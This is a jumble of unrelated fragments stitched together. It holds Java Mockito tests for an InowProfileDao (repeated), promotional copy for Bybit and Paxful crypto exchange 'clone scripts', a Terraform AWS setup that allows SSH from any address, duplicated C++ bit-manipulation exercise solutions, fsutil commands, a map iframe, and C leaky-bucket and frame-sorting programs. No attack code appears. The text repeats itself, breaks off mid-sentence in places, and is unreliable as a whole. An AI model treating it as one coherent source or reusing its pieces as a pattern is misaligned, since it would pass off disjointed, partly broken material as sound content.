        inowProfile.setName("Test Name");
        inowProfile.setStreet1("Street 1");
        inowProfile.setStreet2("Street 2");
        inowProfile.setCity("City");
        inowProfile.setStateProvince("State");
        inowProfile.setPostalCode("Postal");
        inowProfile.setCountry("Country");

        when(jdbcTemplate.queryForList(anyString(), any(Map.class), eq(String.class))).thenThrow(new RuntimeException("Database error"));

        assertThrows(DaoException.class, () -> inowProfileDao.findByFields(inowProfile, true));
    }
}
Bybit clone is a form replicate platform that resembles the original Bybit. if you have doubts about the possibility of incorporating copy trading features into your business. If you want to integrate these features, you'll do something to get a proper crypto exchange solution. Here, we give a solution for your demands.

1. User profile: First, you need a detailed profile to showcase your trading history, performance metrics, and risk tolerance.
2. Social Feed: Have a proper platform for sharing trading ideas, strategies, and analysis to educate your platform users and induce trading activities in the long run.
3. Follower and Following attributes: This feature is useful in getting real-time updates on their trades and getting to know the market updates.
4. Copy Trading Engine: Create one system that replicates the other user's trading practices for utilizing successful traders onto the accounts of their followers.
5. Risk Management Tools: This feature helps to manage risks such as stop-loss and take-profit tools.
6. Performance Tracking: Tools to track the performance of copied trades and the overall profitability of the strategy.

If you have any plans to build your crypto exchange platform like Bybit, then Appticz is the best crypto exchange solution provider for any complex technologies and customizations.
resource "aws_key_pair" "deployer" {
  key_name   = "terra-automate-key"
  public_key = file("terra-key.pub")
}

resource "aws_default_vpc" "default" {

}

resource "aws_security_group" "allow_user_to_connect" {
  name        = "allow TLS"
  description = "Allow user to connect"
  vpc_id      = aws_default_vpc.default.id
  ingress {
    description = "port 22 allow"
    from_port   = 22
    to_port     = 22
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    description = " allow all outgoing traffic "
    from_port   = 0
    to_port     = 0
    protocol    = "-1"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    description = "port 80 allow"
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    description = "port 443 allow"
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  tags = {
    Name = "mysecurity"
  }
}

resource "aws_instance" "testinstance" {
  ami             = var.ami_id
  instance_type   = var.instance_type
  key_name        = aws_key_pair.deployer.key_name
  security_groups = [aws_security_group.allow_user_to_connect.name]
  tags = {
    Name = "Automate"
  }
  root_block_device {
    volume_size = 30 
    volume_type = "gp3"
  }
}
class Solution {
public:
    bool isPowerOfTwo(int n) {
        int count =0;
        if(n<0)
        {
            return 0;
        }
        while(n)
        {
          n&=n-1;
          count = count +1;
        }
        if(count ==1){
            return 1;
        }
        else{
            return 0;
        }
    }
};
class Solution {
public:
    bool isPowerOfTwo(int n) {
        int count =0;
        if(n<0)
        {
            return 0;
        }
        while(n)
        {
          n&=n-1;
          count = count +1;
        }
        if(count ==1){
            return 1;
        }
        else{
            return 0;
        }
    }
};
What Is Paxful Clone Script?
A Paxful clone script is a ready-made website script with 100% source code, enabling you to launch a Bitcoin exchange similar to Paxful. It comes with high-end security features and is designed in line with robust cybersecurity protocols.

For entrepreneurs aiming to target mobile users, we also offer Paxful Clone App Development Services. These services allow you to create a mobile app with all the features of the Paxful exchange, tailored for seamless mobile user engagement.

How to Start a P2P Exchange Like Paxful and Make It Successful?
Launching a P2P exchange like Paxful requires a solid understanding of the Paxful business model, key features, development process, monetization strategies, and brand-building efforts. Let’s dive into each of these areas.

Paxful Business Model
Paxful is an online marketplace where users can buy and sell Bitcoin instantly. As a peer-to-peer exchange, Paxful facilitates direct trades between users under escrow protection. Traders can post ads with information such as the amount of Bitcoin for sale, payment method, and trade duration.

In addition to online transactions, Paxful supports offline trading, where users can meet in person to complete trades. This adds flexibility and trust to the platform.

One of the standout features of Paxful is its versatile payment options. Users can choose from over 300 payment methods, categorized into six groups:

Bank Transfers
Online Wallets
iTunes Gift Cards
Amazon Gift Cards
Cash in Person
Cryptocurrencies
This wide range of payment methods allows traders from around the world to exchange Bitcoin conveniently, leading to Paxful’s global success.

Key Features of a Paxful-Like Exchange
When building your own Bitcoin exchange like Paxful, security should be your top priority. Here are some key features to ensure your platform remains safe and robust:

Cryptocurrency Wallet
Every user signing up on your exchange should automatically receive a cryptocurrency wallet for storing their digital assets.

Smart Contract Powered Escrow Protection
To safeguard trades, smart contract-powered escrow protection should be implemented. This feature ensures that funds are only released when both parties fulfil their obligations, minimizing risks.

Two-factor authentication (2FA)
Two-factor authentication (2FA) adds an extra layer of security by requiring users to verify their identity using both email and mobile numbers during sign-up.

Cybersecurity Protocols
The platform must comply with cybersecurity protocols to prevent hacking and data breaches.

Instant Buy/Sell Feature
Traders prefer swift transactions, so integrating a superfast trade matching engine is essential for instant buy and sell features.

Live Chat
A built-in live chat feature helps traders communicate effectively, ensuring smooth transactions.

300+ Payment Options
Offering over 300 payment options ensures inclusivity and accessibility, catering to a global audience.

Admin Panel Functionalities
To effectively manage the exchange, the admin panel should include the following functionalities:

Customizable blog section for engaging users with educational content.
Website statistics with charts and pie diagrams to monitor traffic and trade volumes.
Review monitoring to identify trustworthy traders and prevent fraudulent activity.
Development Methodologies for Building a Paxful-Like Exchange
There are three main ways to build a cryptocurrency exchange like Paxful:

1. Do It Yourself
If you have strong technical skills, you can build the exchange yourself. However, this method is time-consuming and requires significant effort.

2. Hire a Freelance Developer
Hiring a freelance developer to build your exchange is another option, but there is no guarantee of long-term support for maintenance and updates.

3. Partner With a Cryptocurrency Exchange Development Company
By partnering with an experienced cryptocurrency exchange development company, you can build a cutting-edge exchange with the latest features. This option ensures professional support and future scalability.

At Spiegel Technologies, we offer two options to get your exchange up and running:

Start From Scratch: Using our custom P2P cryptocurrency exchange script, you can design a unique platform with tailored functionalities.
Use a Clone Script/Template: Our Paxful Clone Script is a cost-effective, ready-made solution that allows you to set up your exchange quickly with minimal customization.
Monetization Options for a Paxful-Like Exchange
There are several ways to generate revenue from your P2P Bitcoin exchange:

1. Trading Fees
Charging a trading fee for every transaction is a common way to generate income. Keeping the fee low will encourage more user engagement.

2. Advertisement Fees
You can charge users a fee for posting ads on your platform to promote their Bitcoin trades.

3. Listing Fees
Some exchanges allow new cryptocurrencies to be listed, generating income through listing fees.

4. Deposit and Withdrawal Fees
You can collect deposit and withdrawal fees, especially for larger transactions.

5. Dark Pool Trading Fees
Allow traders to trade anonymously by offering dark pool trading features, for which you can charge a premium fee.

Marketing Strategy: Reaching Your Target Audience
A well-planned marketing strategy is crucial to the success of your exchange. Paxful excelled by targeting traders geographically and using referral programs and promotional campaigns to grow its user base.

To succeed, you must:

Identify your target audience.
Develop a marketing plan that resonates with their needs.
Be creative and daring in introducing new ideas to differentiate yourself.
How Much Does It Cost to Start an Exchange Like Paxful?
The cost of developing a cryptocurrency exchange varies depending on client requirements, including chosen APIs, features, tech stacks, an. At, Spiegel Technologies we offer a premium Paxful Clone Script that requires minimal customization, keeping your development costs low.

Development Timeline: How Long Does It Take to Build a Paxful-Like Exchange?
Our development timeline is as follows:

Project discussion and confirmation: 48 hours
Project team allocation: 72 hours
Storyboard preparation for modules: 144 hours
Design phase: 120 hours
Development phase: 168 hours
Product testing: 48 hours
Deployment: 120 hours
Who Are We?
Spiegel Technologies is a leading P2P cryptocurrency exchange development company. With over 10 years of experience, we have a track record of delivering quality solutions on time. Our services include:

Binance Clone Script
LocalBitcoins Clone Script
Remitano Clone Script
WazirX Clone Script
It’s time to build your exchange and become the boss!

Conclusion
Building a P2P Bitcoin exchange like Paxful is more accessible than ever with the help of clone scripts and professional development services. By combining innovative features with a robust business model, you can create a thriving cryptocurrency exchange that rivals industry giants.
//{ Driver Code Starts
#include <bits/stdc++.h>
using namespace std;


// } Driver Code Ends
class Solution {
  public:
    string oddEven(int n) {
        // code here
        if(n&1)
        {
            return "odd";
        }
        else{
            return "even";
        }
    }
};

//{ Driver Code Starts.
int main() {
    int t;
    cin >> t;
    while (t--) {
        int N;
        cin >> N;
        Solution ob;
        cout << ob.oddEven(N) << endl;
        cout << "~\n";
    }
    return 0;
}
// } Driver Code Ends
//{ Driver Code Starts
// Initial Template for C++

#include <bits/stdc++.h>
using namespace std;


// } Driver Code Ends
// User function Template for C++

class Solution {
  public:
    // Function to check if Kth bit is set or not.
    bool checkKthBit(int n, int k) {
        // Your code here
        // It can be a one liner logic!! Think of it!!
        if((n>>k)&1)
        {
            return 1;
        }
        else{
            return 0;
        }
    }
};

//{ Driver Code Starts.

// Driver Code
int main() {
    int t;
    cin >> t; // taking testcases
    while (t--) {
        long long n;
        cin >> n; // input n
        int k;
        cin >> k; // bit number k
        Solution obj;
        if (obj.checkKthBit(n, k))
            cout << "true" << endl;
        else
            cout << "false" << endl;
        cout << "~" << endl;
    }
    return 0;
}
// } Driver Code Ends
//{ Driver Code Starts
#include <bits/stdc++.h>
using namespace std;


// } Driver Code Ends
class Solution {
  public:
    int getbit(int num1 , int j)
    {
        if((num1>>j-1)&1)
        {
            return 1;
        }
        else{
            return 0;
        }
    }
    
    int setbit(int num1 , int j)
    {
        num1  = num1|(1<<j-1);
        return num1 ;
    }
    
    int clearbit(int num1 , int  j )
    {
        num1 = num1&~(1<<j-1);
        return num1;
    }
    void bitManipulation(int num, int i) {
        // your code here
        //get the bit
        int num1 = num;
        int j = i;
        cout<<getbit(num1 , j);
        cout<<" "<<setbit(num1, j);
        cout<<" "<<clearbit(num1 , j);
        
    }
    
};

//{ Driver Code Starts.

int main() {
    int t;
    cin >> t;
    while (t--) {
        int n, i;
        cin >> n >> i;
        Solution ob;
        ob.bitManipulation(n, i);
        cout << "\n";
    
cout << "~" << "\n";
}
    return 0;
}
// } Driver Code Ends
<iframe src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d46897243.61509658!2d-169.3446263!3d29.491839!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0xaa47fad489ad0815%3A0xbbc44c6951ba5de4!2sRaz%20Cleaning%20LLC!5e1!3m2!1sen!2sbd!4v1732270806931!5m2!1sen!2sbd" width="600" height="450" style="border:0;" allowfullscreen="" loading="lazy" referrerpolicy="no-referrer-when-downgrade"></iframe>
fsutil file createnew 0664_PS.txt 10
fsutil file createnew 0674_PS.txt 10
fsutil file createnew 0769_PS.txt 10
fsutil file createnew 0774_PS.txt 10
fsutil file createnew 0786_PS.txt 10
package com.infonow.crux.dao.orm.hibernate;

import com.infonow.crux.*;
import com.infonow.crux.dao.DaoException;
import com.infonow.crux.dao.InowProfileCustomerDao;
import com.infonow.crux.dao.OrchestrationInserts;
import com.infonow.crux.dao.jdbc.mapper.InowProfileRowMapper;
import com.infonow.crux.impl.*;
import com.infonow.crux.query.PagedQueryResult;
import com.infonow.crux.svcClient.InowProfileCountryCode;
import com.infonow.crux.svcClient.InowProfileCustomerType;
import com.infonow.framework.util.cache.Cache;
import com.infonow.framework.util.cache.CacheManager;

import com.infonow.framework.util.spring.JdbcTemplateProxy;
import org.junit.Test;
import org.junit.jupiter.api.BeforeEach;
import org.mockito.*;
import org.springframework.jdbc.core.BatchPreparedStatementSetter;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.RowCallbackHandler;
import org.springframework.jdbc.core.RowMapper;
import org.springframework.jdbc.datasource.DataSourceTransactionManager;
import org.springframework.transaction.PlatformTransactionManager;
import org.springframework.transaction.TransactionStatus;
import org.springframework.transaction.support.DefaultTransactionDefinition;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.text.DecimalFormat;
import java.util.*;

import static org.junit.Assert.*;
import static org.junit.jupiter.api.Assertions.assertThrows;
//import org.mockito.ArgumentMatchers;
//import static org.mockito.ArgumentMatchers.any;
//import static org.mockito.ArgumentMatchers.anyString;
import static org.mockito.Matchers.anyMap;
import static org.mockito.Matchers.eq;
import static org.mockito.Mockito.*;

public class InowProfileDaoTest {

    @Mock
    private JdbcTemplateProxy jdbcTemplate;

    @Mock
    private CountryDao countryDao;

    @Mock
    private InowProfileCustomerDao inowProfileCustomerDao;

    @Mock
    private OrchestrationInserts orchestrationDao;

    @InjectMocks
    private InowProfileDao inowProfileDao;

    @BeforeEach
    public void setUp() {
        MockitoAnnotations.initMocks(this);
        reset();
//        inowProfileDao.setJdbcTemplate(jdbcTemplate);
//        inowProfileDao.setCountryDao(countryDao);
//        inowProfileDao.setInowProfileCustomerDao(inowProfileCustomerDao);
//        inowProfileDao.setOrchestrationDao(orchestrationDao);
    }

    @Test
    public void testNextId() {
        System.out.println(jdbcTemplate);
        when(jdbcTemplate.queryForObject(anyString(), eq(Long.class))).thenReturn(1L);
        Long nextId = inowProfileDao.nextId();
        assertNotNull(nextId);
        assertEquals((Long)1L, nextId);
    }

    @Test
    public void testCreateIdentifier() {
        String identifier = inowProfileDao.createIdentifier(1L);
        assertNotNull(identifier);
        assertEquals("INOW-00000000000001", identifier);
    }

    @Test
    public void testGetInowProfiles() throws DaoException
    {
        List<String> identifiers = Arrays.asList("INOW-12345");
        String customerId = "customer1";
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setIdentifier("INOW-12345");
        List<InowProfile> inowProfiles = Arrays.asList(inowProfile);
        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        Map<String, InowProfile> result = inowProfileDao.getInowProfiles(identifiers, customerId);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(inowProfile, result.get("INOW-12345"));
    }

    @Test
    public void testGetBySid() {
        Long sid = 1L;
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setSid(sid);
        List<InowProfile> inowProfiles = Arrays.asList(inowProfile);
        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        InowProfile result = inowProfileDao.getBySid(sid);
        assertNotNull(result);
        assertEquals(inowProfile, result);
    }

    @Test
    public void testFindById() {
        String id = "INOW-12345";
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setIdentifier(id);
        List<InowProfile> inowProfiles = Arrays.asList(inowProfile);
        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        InowProfile result = inowProfileDao.findById(id);
        assertNotNull(result);
        assertEquals(inowProfile, result);
    }

    @Test
    public void testFindWhereIndividualIsNull() {
        com.infonow.crux.dao.InowProfileDao.InowProfileResultHandler resultHandler = mock(
                com.infonow.crux.dao.InowProfileDao.InowProfileResultHandler.class);
        doAnswer(invocation -> {
            ResultSet rs = mock(ResultSet.class);
            when(rs.getString("ENTITY_NAME")).thenReturn("Test Entity");
            when(rs.getLong("SID")).thenReturn(1L);
            when(rs.getLong("CLASSIFICATION_TYPE_SID")).thenReturn(1L);
            InowProfileRowMapper mapper = new InowProfileRowMapper();
            InowProfile inowProfile = (InowProfile) mapper.mapRow(rs, 1);
            resultHandler.onResult(inowProfile);
            return null;
        }).when(jdbcTemplate).query(anyString(), any(RowCallbackHandler.class));

        inowProfileDao.findWhereIndividualIsNull(resultHandler);
        verify(resultHandler, times(1)).onResult(any(InowProfile.class));
    }

    @Test
    public void testUpdateIndividualAndClassification() {
        List<InowProfile> inowProfiles = new ArrayList<>();
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setSid(1L);
        inowProfiles.add(inowProfile);

        inowProfileDao.updateIndividualAndClassification(inowProfiles);
        verify(jdbcTemplate, times(1)).batchUpdate(anyString(), any(BatchPreparedStatementSetter.class));
    }

    @Test
    public void testGetRandomInowProfile() {
        InowProfile inowProfile = new InowProfileImpl();
        List<InowProfile> inowProfiles = Arrays.asList(inowProfile);
        when(jdbcTemplate.query(anyString(), any(RowMapper.class))).thenReturn(inowProfiles);

        InowProfile result = inowProfileDao.getRandomInowProfile();
        assertNotNull(result);
        assertEquals(inowProfile, result);
    }

    @Test
    public void testGetRecordCountForSearch() throws DaoException {
        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(1);
        int count = inowProfileDao.getRecordCountForSearch("id", "name", "street1", "street2", "city", "state", "postal", "country", false);
        assertNotNull(count);
        assertEquals(1, count);
    }

    @Test
    public void testFindByWildcard() throws DaoException {
        List<InowProfile> inowProfiles = new ArrayList<>();
        InowProfile inowProfile = new InowProfileImpl();
        inowProfiles.add(inowProfile);
        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        List<InowProfile> result = inowProfileDao.findByWildcard("id", "name", "street1", "street2", "city", "state", "postal", "country", false, 0, 10);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(inowProfile, result.get(0));
    }

    @Test
    public void testUpdateCountries() throws DaoException {
        List<InowProfileCountryCode> inowProfileCountryCodes = new ArrayList<>();
        InowProfileCountryCode inowProfileCountryCode = new InowProfileCountryCode();
        inowProfileCountryCodes.add(inowProfileCountryCode);

        PlatformTransactionManager transactionManager = mock(PlatformTransactionManager.class);
        TransactionStatus transactionStatus = mock(TransactionStatus.class);
        when(transactionManager.getTransaction(any(DefaultTransactionDefinition.class))).thenReturn(transactionStatus);

        inowProfileDao.updateCountries(inowProfileCountryCodes);
        verify(jdbcTemplate, times(3)).batchUpdate(anyString(), any(BatchPreparedStatementSetter.class));
        verify(transactionManager, times(1)).commit(transactionStatus);
    }

    @Test
    public void testUpdateGrade() throws DaoException {
        doNothing().when(jdbcTemplate).update(anyString(), any(Map.class));
        inowProfileDao.updateGrade(1L, 1L);
        verify(jdbcTemplate, times(1)).update(anyString(), any(Map.class));
    }

    @Test
    public void testUpdateGradeAndIsValidFields() throws DaoException {
        doNothing().when(jdbcTemplate).update(anyString(), any(Object[].class));
        inowProfileDao.updateGradeAndIsValidFields(1L, 1L, true, true, true);
        verify(jdbcTemplate, times(1)).update(anyString(), any(Object[].class));
    }

    @Test
    public void testUpdateAddressFields() {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setSid(1L);
        inowProfile.setName("Test Name");
        inowProfile.setStreet1("Street 1");
        inowProfile.setStreet2("Street 2");
        inowProfile.setCity("City");
        inowProfile.setStateProvince("State");
        inowProfile.setStateProvinceCode("SPC");
        inowProfile.setPostalCode("Postal");
        inowProfile.setValidPostalCode(true);
        inowProfile.setValidStateProvince(true);
        inowProfile.setValidCity(true);
        inowProfile.setCountry("Country");
        inowProfile.setCountryObject(new CountryImpl());

        when(jdbcTemplate.update(anyString(), any(Object[].class))).thenReturn(1);
        int result = inowProfileDao.updateAddressFields(inowProfile);
        assertEquals(1, result);
    }

    @Test
    public void testFindUnclassified() throws DaoException {
        List<Customer> customers = new ArrayList<>();
        Customer customer = new CustomerImpl();
        customers.add(customer);

        List<InowProfile> inowProfiles = new ArrayList<>();
        InowProfile inowProfile = new InowProfileImpl();
        inowProfiles.add(inowProfile);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        PagedQueryResult<InowProfile> result = inowProfileDao.findUnclassified(customers, 0, 10, "sort", true);
        assertNotNull(result);
        assertEquals(1, result.getTotalCount());
        //assertEquals(inowProfile, result.getResults().get(0));
    }

    @Test
    public void testGetClassifiedEntityCount() throws DaoException {
        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(1);
        int count = inowProfileDao.getClassifiedEntityCount();
        assertNotNull(count);
        assertEquals(1, count);
    }

    @Test
    public void testGetClassifiedEntityCountByCode() throws DaoException {
        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class), any(Object[].class))).thenReturn(1);
        Integer count = inowProfileDao.getClassifiedEntityCount("code");
        assertNotNull(count);
        assertEquals((Integer)1, count);
    }

    @Test
    public void testGetClassifications() throws DaoException {
        List<ClassificationType> classificationTypes = new ArrayList<>();
        ClassificationType classificationType = new ClassificationTypeImpl();
        classificationTypes.add(classificationType);

        when(jdbcTemplate.query(anyString(), any(RowMapper.class))).thenReturn(classificationTypes);

        List<ClassificationType> result = inowProfileDao.getClassifications();
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(classificationType, result.get(0));
    }

    @Test
    public void testGetClassificationType() throws DaoException {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setSid(1L);

        ClassificationType classificationType = new ClassificationTypeImpl();
        List<ClassificationType> classificationTypes = Arrays.asList(classificationType);

        System.out.println(jdbcTemplate);
        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(classificationTypes);

        ClassificationType result = inowProfileDao.getClassificationType(inowProfile);
        assertNotNull(result);
        assertEquals(classificationType, result);
    }

    @Test
    public void testGetClassificationTypeByCode() throws DaoException {
        ClassificationType classificationType = new ClassificationTypeImpl();
        List<ClassificationType> classificationTypes = Arrays.asList(classificationType);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(classificationTypes);

        ClassificationType result = inowProfileDao.getClassificationTypeByCode("code");
        assertNotNull(result);
        assertEquals(classificationType, result);
    }

    @Test
    public void testFindClassified() throws DaoException {
        List<InowProfile> inowProfiles = new ArrayList<>();
        InowProfile inowProfile = new InowProfileImpl();
        inowProfiles.add(inowProfile);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        List<InowProfile> result = inowProfileDao.findClassified(0, 10, "sort", true);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(inowProfile, result.get(0));
    }

    @Test
    public void testClassify() throws DaoException {
        List<InowProfileCustomerType> customerTypes = new ArrayList<>();
        InowProfileCustomerType customerType = new InowProfileCustomerType();
        customerType.setInowProfileSid(1L);
        customerType.setCustomerType("type");
        customerTypes.add(customerType);

        when(jdbcTemplate.queryForObject(anyString(), any(Object[].class), eq(String.class))).thenReturn("type");

        List<Long> result = inowProfileDao.classify(customerTypes);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals((Long)1L, result.get(0));
    }

    @Test
    public void testClearClassifications() {
        List<Long> inowProfileSids = Arrays.asList(1L, 2L, 3L);

        doNothing().when(jdbcTemplate).update(anyString(), any(Object[].class));

        inowProfileDao.clearClassifications(inowProfileSids);
        verify(jdbcTemplate, times(1)).update(anyString(), any(Object[].class));
    }

    @Test
    public void testSaveR2rReporter() throws DaoException {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setSid(1L);

        doNothing().when(jdbcTemplate).update(anyString(), any(Object[].class));

        inowProfileDao.saveR2rReporter(inowProfile, "value");
        verify(jdbcTemplate, times(1)).update(anyString(), any(Object[].class));
    }

    @Test
    public void testGetBySalesLineItemAndAddressType() throws DaoException {
        InowProfile inowProfile = new InowProfileImpl();
        List<InowProfile> inowProfiles = Arrays.asList(inowProfile);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        InowProfile result = inowProfileDao.getBySalesLineItemAndAddressType("customerId", 1L, "addressType");
        assertNotNull(result);
        assertEquals(inowProfile, result);
    }

    @Test
    public void testDeleteDuplicate() throws DaoException {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setIdentifier("INOW-12345");

        doNothing().when(jdbcTemplate).update(anyString(), any(Map.class));

        inowProfileDao.deleteDuplicate(inowProfile);
        verify(jdbcTemplate, times(1)).update(anyString(), any(Map.class));
    }

    @Test
    public void testSaveDuplicate() throws DaoException {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setIdentifier("INOW-12345");
        InowProfile duplicateInowProfile = new InowProfileImpl();
        duplicateInowProfile.setIdentifier("INOW-54321");

        Map<InowProfile, List<InowProfile>> inowProfileDuplicateMap = new HashMap<>();
        List<InowProfile> duplicates = new ArrayList<>();
        duplicates.add(duplicateInowProfile);
        inowProfileDuplicateMap.put(inowProfile, duplicates);

        doNothing().when(jdbcTemplate).batchUpdate(anyString(), any(BatchPreparedStatementSetter.class));

        inowProfileDao.saveDuplicate(inowProfileDuplicateMap, true);
        verify(jdbcTemplate, times(1)).batchUpdate(anyString(), any(BatchPreparedStatementSetter.class));
    }

    @Test
    public void testGetCount() throws DaoException {
        when(jdbcTemplate.queryForObject(anyString(), eq(Integer.class))).thenReturn(1);
        Integer count = inowProfileDao.getCount();
        assertNotNull(count);
        assertEquals((Long) 1L, count);
    }

    @Test
    public void testGetRecords() throws DaoException {
        List<InowProfile> inowProfiles = new ArrayList<>();
        InowProfile inowProfile = new InowProfileImpl();
        inowProfiles.add(inowProfile);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        List<InowProfile> result = inowProfileDao.getRecords(0, 10);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(inowProfile, result.get(0));
    }

    @Test
    public void testFindByFields() {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setName("Test Name");
        inowProfile.setStreet1("Street 1");
        inowProfile.setStreet2("Street 2");
        inowProfile.setCity("City");
        inowProfile.setStateProvince("State");
        inowProfile.setPostalCode("Postal");
        inowProfile.setCountry("Country");

        when(jdbcTemplate.queryForList(anyString(), anyMap(), eq(String.class))).thenReturn(Collections.singletonList(Collections.singletonMap("identifier", "INOW-12345")));

        String result = inowProfileDao.findByFields(inowProfile, true);
        assertNotNull(result);
        assertEquals("INOW-12345", result);
    }

    @Test
    public void testFindExactAddressDupes() {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setName("Test Name");
        inowProfile.setStreet1("Street 1");
        inowProfile.setStreet2("Street 2");
        inowProfile.setCity("City");
        inowProfile.setStateProvince("State");
        inowProfile.setPostalCode("Postal");
        inowProfile.setCountry("Country");

        List<InowProfile> inowProfiles = new ArrayList<>();
        inowProfiles.add(inowProfile);

        when(jdbcTemplate.query(anyString(), any(Object[].class), any(RowMapper.class))).thenReturn(inowProfiles);

        List<InowProfile> result = inowProfileDao.findExactAddressDupes(inowProfile);
        assertNotNull(result);
        assertEquals(1, result.size());
        assertEquals(inowProfile, result.get(0));
    }

    @Test
    public void testFindByFieldsWithNullResults() {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setName("Test Name");
        inowProfile.setStreet1("Street 1");
        inowProfile.setStreet2("Street 2");
        inowProfile.setCity("City");
        inowProfile.setStateProvince("State");
        inowProfile.setPostalCode("Postal");
        inowProfile.setCountry("Country");

        when(jdbcTemplate.queryForList(anyString(), any(Map.class), eq(String.class))).thenReturn(Collections.emptyList());

        String result = inowProfileDao.findByFields(inowProfile, true);
        assertNull(result);
    }

    @Test
    public void testFindByFieldsWithException() {
        InowProfile inowProfile = new InowProfileImpl();
        inowProfile.setName("Test Name");
        inowProfile.setStreet1("Street 1");
        inowProfile.setStreet2("Street 2");
        inowProfile.setCity("City");
        inowProfile.setStateProvince("State");
        inowProfile.setPostalCode("Postal");
        inowProfile.setCountry("Country");

        when(jdbcTemplate.queryForList(anyString(), any(Map.class), eq(String.class))).thenThrow(new RuntimeException("Database error"));

        assertThrows(DaoException.class, () -> inowProfileDao.findByFields(inowProfile, true));
    }
}
#include <stdio.h>
#include <string.h>

#define MAX_FRAMES 10

// Function to sort frames based on sequence numbers
void sortFrames(int sequence[], char content[][100], int totalFrames) {
    for (int i = 0; i < totalFrames - 1; i++) {
        int minIndex = i;
        for (int j = i + 1; j < totalFrames; j++) {
            if (sequence[j] < sequence[minIndex]) {
                minIndex = j;
            }
        }
        // Swap sequence numbers
        int tempSeq = sequence[i];
        sequence[i] = sequence[minIndex];
        sequence[minIndex] = tempSeq;

        // Swap corresponding content
        char tempContent[100];
        strcpy(tempContent, content[i]);
        strcpy(content[i], content[minIndex]);
        strcpy(content[minIndex], tempContent);
    }
}

int main() {
    int totalFrames;

    // Get the number of frames
    printf("How many frames do you want to enter? (max 10): ");
    scanf("%d", &totalFrames);

    int sequenceNumbers[totalFrames];  // Array for frame sequence numbers
    char frameData[totalFrames][100];  // Array for frame content (data)

    // Get input for each frame
    for (int i = 0; i < totalFrames; i++) {
        printf("\nEnter data for frame %d: ", i + 1);
        scanf("%s", frameData[i]);  // Input the content of the frame
        printf("Enter sequence number for frame %d: ", i + 1);
        scanf("%d", &sequenceNumbers[i]);  // Input the sequence number
    }

    // Sort frames by their sequence number
    sortFrames(sequenceNumbers, frameData, totalFrames);

    // Display sorted frames
    printf("\nSorted Frames by Sequence Number:\n");
    for (int i = 0; i < totalFrames; i++) {
        printf("Frame %d: Sequence Number: %d, Data: %s\n", i + 1, sequenceNumbers[i], frameData[i]);
    }

    return 0;
}
#include <stdio.h>

int main() {
    int incoming, outgoing, bucket_size, num_inputs;
    int store = 0;  // Tracks the current amount of data in the bucket

    // Take input for bucket size, outgoing rate, and number of inputs
    printf("Enter bucket size, outgoing rate and number of inputs: ");
    scanf("%d %d %d", &bucket_size, &outgoing, &num_inputs);

    // Loop through all incoming packets
    for (int i = 0; i < num_inputs; i++) {
        printf("Enter incoming packet size: ");
        scanf("%d", &incoming);

        // Display incoming packet size
        printf("Incoming packet size: %d\n", incoming);

        // Check if the packet can be stored in the bucket
        if (incoming <= (bucket_size - store)) {
            store += incoming;
            printf("Bucket buffer size: %d out of %d\n", store, bucket_size);
        } else {
            // If the bucket is full, drop excess packets
            printf("Dropped %d packets\n", incoming - (bucket_size - store));
            store = bucket_size;
            printf("Bucket buffer size: %d out of %d\n", store, bucket_size);
        }

        // Simulate the outgoing rate
        store -= outgoing;
        if (store < 0) store = 0;  // Ensure the store doesn't go negative
        printf("After outgoing, %d packets left in the bucket out of %d\n", store, bucket_size);
    }

    return 0;
}
<svg class="svg">
  <defs>
